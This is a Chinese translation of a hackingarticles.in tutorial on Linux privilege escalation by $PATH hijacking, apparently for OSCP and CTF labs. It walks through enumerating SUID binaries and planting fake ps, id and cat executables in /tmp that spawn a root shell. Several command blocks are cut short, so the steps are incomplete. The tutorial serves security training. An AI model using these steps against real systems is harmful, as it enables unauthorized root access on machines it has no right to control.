高考加油
写在前面的话
在解决了几个OSCP挑战之后,我决定写一篇关于用于Linux提权方法的文章,这对我们的渗透测试项目很有帮助。在本文中,我们将学习“操纵$PATH变量的各种方法”,以获得远程主机的根访问权,以及CTF challenges用于提权的$PATH漏洞的技术。
介绍
PATH是Linux和unix操作系统中的环境变量,它存储可执行程序的所有bin和sbin目录。当用户在终端上运行命令时,它对shell的请求是根据用户执行的命令在PATH变量的帮助下搜索可执行文件。超级用户通常还拥有/sbin和/usr/sbin条目,以便轻松执行系统管理命令。
使用echo命令查看用户路径。echo $PATH
/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games
如果你注意到’.’在环境路径变量中,这意味着被记录的用户可以从当前目录执行二进制文件/脚本。
方法1
目前,我们在/home/raj
目录中,我们将创建一个名称为/script
的新目录。现在在脚本目录中,我们将编写一个小c程序来调用系统二进制文件的函数。1
2
3
4pwd
mkdir script
cd /script
nano demo.c
你可以在我们的演示中看到我们的demo.c调用ps系统二进制文件命令。
然后使用gcc编译demo.c文件并将SUID权限提升到已编译文件。1
2
3
4ls
gcc demo.c -o shell
chmod u+s shell
ls -la shell
受害者的机虚拟机
首先,你需要破坏目标系统然后进入特权升级阶段。假设您通过ssh成功登录到受害者的机器。然后在查找命令的帮助下搜索具有SUID或4000权限的文件。
1 | find / -perm -u=s -type f 2>/dev/null |
在上面的命令的帮助下,攻击者可以枚举任何可执行文件,这里我们还可以观察/home/raj/script/shell具有suid权限。
然后我们进入/home/raj/script并看到一个可执行文件“shell”。我们运行这个文件,它看起来像正在运行ps,这是进程状态的一个真正的文件。
1 | ls |
Echo Command
1 | cd /tmp |
Copy Command
1 | cd /home/raj/script/ |
Symlink command
1 | ln -s /bin/sh ps |
注意:符号链接也被称为符号链接,如果该目录具有完整的权限,它将成功地工作。在Ubuntu中,对于符号链接,我们给了/script目录的权限777。
因此,我们看到攻击者可以操纵环境变量路径来升级特权并获得根访问。
方法2
重复上述步骤来配置您自己的环境中,我们将编写一个小c程序来调用系统二进制文件的功能。1
2
3
4pwd
mkdir script
cd /script
nano demo.c
你可以在我们的demo.c正在调用id命令–它是系统二进制文件。
然后使用gcc编译demo.c文件并将SUID权限提升到已编译文件。1
2
3
4ls
gcc demo.c -o shell2
chmod u+s shell2
ls -la shell2
受害者的虚拟机
再一次,你需要破坏目标系统然后进入特权升级阶段。假设您通过ssh成功登录到受害者的机器。然后在查找命令的帮助搜索具有SUID或4000权限的文件。在这里,我们还可以观察/home/raj/script/shell2具有suid权限。
1 | find / -perm -u=s -type f 2>/dev/null |
然后我们进入/home/raj/script,并看到一个可执行文件“shell2”。我们运行这个文件,它看起来像正在运行id。
1 | cd /home/raj/script |
Echo command
1 | cd /tmp |
Method 3
重复以上步骤,设置您自己的环境确保我们的demo.c文件可以调用cat命令从内部读取内容etc/passwd文件。然后使用gcc编译demo.c文件并将SUID权限提升到已编译文件。1
2
3
4ls
gcc demo.c -o raj
chmod u+s raj
ls -la raj
受害者的虚拟机
再次破坏受害者的系统,然后转移到权限升级阶段,执行下面的命令来查看sudo用户列表。1
find / -perm -u=s -type f 2>/dev/null
在这里,我们还可以观察/home/raj/script/raj具有suid权限,然后进入/home/raj/script并看到一个可执行文件“raj”。所以当我们运行这个文件时,它就会输出etc/passwd文件。1
2
3cd /home/raj/script/
ls
./raj
Nano Editor
1 | cd /tmp |
现在在终端输入/bin/bash当并保存它。
1
2
3
4
5
6
7chmod 777 cat
ls -al cat
echo $PATH
export PATH=/tmp:$PATH
cd /home/raj/script
./raj
whoami
方法4
重复以上步骤,设置您自己的环境确保我们的demo.c文件可以调用cat命令来读取msg.txt是在/home/raj里面,但是/home/raj里面没有这样的文件,然后使用gcc编译demo.c文件并将SUID权限提升到已编译文件。
1 | ls |
受害者的虚拟机
再次损害受害者的系统,然后转移到特权升级阶段,并执行下方命令以查看sudo用户列表。1
find / -perm -u=s -type f 2>/dev/null
在这里,我们还可以观察/home/ raj/script/拥有suid权限,然后我们进入/home/raj/script,看到一个可执行文件“ignite”。因此,当我们运行这个文件时,它会把一个错误“cat: /home/raj/msg.”txt”的结果。
1 | cd /home/raj/script |
Vi Editor
1 | cd /tmp |
现在在终端输入/bin/bash当并保存它。
1
2
3
4
5
6
7chmod 777 cat
ls -al cat
echo $PATH
export PATH=/tmp:$PATH
cd /home/raj/script
./ignite
whoami
本文翻译:http://www.hackingarticles.in/linux-privilege-escalation-using-path-variable/